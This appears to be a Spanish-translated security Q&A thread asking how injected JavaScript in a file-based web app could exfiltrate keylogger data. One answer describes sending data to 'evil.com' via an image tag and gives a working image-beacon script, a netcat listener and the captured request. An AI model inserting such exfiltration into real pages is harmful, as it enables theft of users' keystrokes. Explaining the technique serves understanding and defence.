¿Cómo puede un keylogger reunir y transmitir datos desde una aplicación web solo para clientes ejecutada desde un archivo?

0

Para una aplicación web solo del lado del cliente ejecutada desde un archivo, ¿cómo puede un keylogger recopilar datos y luego transmitirlos?

En este escenario, limite el alcance solo al código del cliente, que un atacante de alguna manera haya inyectado código. Las vulnerabilidades fuera del navegador están fuera de alcance. No hay flash o java en el código original, y supongamos que el cliente tiene flash deshabilitado y no permite que Java se ejecute. Todo el código original es HTML, CSS y JavaScript. Hay algunas imágenes seguras para la web, como las que se suministran con jQuery.

Me parece que se puede leer fácilmente a través de un fragmento de código de JavaScript, pero ¿cómo se puede transmitir? ¿Solo websockets?

    
pregunta Anders 31.07.2014 - 02:53
fuente

2 respuestas

2

No estoy seguro de si entiendo la pregunta o no. Pero sucede que en mi trabajo, escribimos varios javascript keystroke logger para la biométrica de pulsaciones de teclas. donde los eventos recopilados (key-up / keydown) se envían a otro servidor que no aloja el script del registrador de claves.

Lo hacemos mediante el uso de Web Socket como usted sugirió o usando JSONP

    
respondido por el Ubaidah 31.07.2014 - 06:25
fuente
1

Parece que está tratando de evitar la política de origen mismo . No puede transmitir datos desde una página web abierta con el protocolo file:// usando AJAX. Sin embargo, una forma de hacerlo (probablemente hay otras) es agregar una etiqueta de imagen a la página con src="http://evil.com/receive?data=<data>" e insertar los datos de su keylogger en <data> . Esto obligará al navegador a realizar una solicitud GET para http://evil.com/receive con sus datos en el parámetro get data .

Editar:

Aquí hay un ejemplo:

<script>
var data = 'Hello!';
var img = document.createElement('img');
img.setAttribute('src', 'http://localhost:2000/test.php?data='+encodeURIComponent(data))
document.body.appendChild(img);
</script>

Puede probarlo ejecutando un servidor web local o netcat en el puerto 2000:

netcat -lp 2000

Cuando abro el archivo en un navegador, veo los encabezados enviados:

GET /test.php?data=Hello! HTTP/1.1
Host: localhost:2000
User-Agent: <redacted>
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

De esto puede extraer los datos en el parámetro data .

    
respondido por el vikstous 31.07.2014 - 07:57
fuente

Lea otras preguntas en las etiquetas